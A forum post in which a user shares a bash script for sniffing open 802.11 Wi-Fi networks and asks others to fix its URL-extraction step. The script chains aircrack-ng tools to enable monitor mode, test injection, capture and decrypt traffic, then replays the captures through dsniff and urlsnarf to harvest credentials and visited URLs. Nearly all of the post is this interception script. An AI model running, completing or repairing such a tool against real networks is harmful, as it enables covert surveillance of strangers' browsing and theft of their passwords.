Jump to content

voguendi

Members
  • Posts

    1
  • Joined

  • Last visited

Everything posted by voguendi

  1. Hi ! I wrote this script to sniff on OPN 802.11 networks and extract URLs but it seems that the last part with Urlsnarf doesn't work ! Can you please help me to correct it? #!/bin/bash # My first script #enter functions press_enterandstop() { echo -en "\nPress Enter to continue" read #airmon-ng stop mon0 } press_enternoclear() { echo -en "\nPress Enter to continue" read } press_enter() { echo -en "\nPress Enter to continue" read clear } #kill NeworkManager selection= until [ "$selection" = "1" ]; do echo " NeworkManager 1 - Stop NetworkManager 2 - Restart NetworkManager 0 - exit program" echo -n "Enter selection: " read selection echo "" case $selection in 1 ) service NetworkManager stop ; press_enter ;; 2 ) service NetworkManager restart ; press_enter ;; 0 ) exit ;; * ) echo "Please enter 1, 2, or 0"; press_enter esac done echo "Seting monitor mode" iwconfig press_enternoclear; function monitormode(){ echo -n "Type the network interface " read wlan airmon-ng start $wlan } monitormode; #Checking the mon interface #Checking monitor mode function mon(){ ifconfig -s -a | grep -i "mon"> moninterface.txt mon=`head -n 1 moninterface.txt | cut -c -4` echo $mon press_enternoclear; echo "Checking injection capabilities" aireplay-ng -9 $mon #press_enternoclear; #Capturing export CAPT_DIR=/home/leila/bin/captures export CAPT_DEST=$CAPT_DIR/capture mkdir -p $CAPT_DIR airodump-ng -w $CAPT_DEST $mon press_enternoclear; } mon; #Decrypting the files function decryptap(){ f=`ls -w 1 $CAPT_DIR/capture-??.cap | tail -n 1` echo -n "Type the AP " read ap airdecap-ng -e "$ap" $f g=`ls -w 1 $CAPT_DIR/capture-??-dec.cap | tail -n 1` tcpdump -r $g -vvv > suctest.txt dsniff -i lo > sniff.txt & urlsnarf -i lo > url.txt & tcpreplay -i lo -t $g echo "finish" } decryptap; airmon-ng stop $mon
×
×
  • Create New...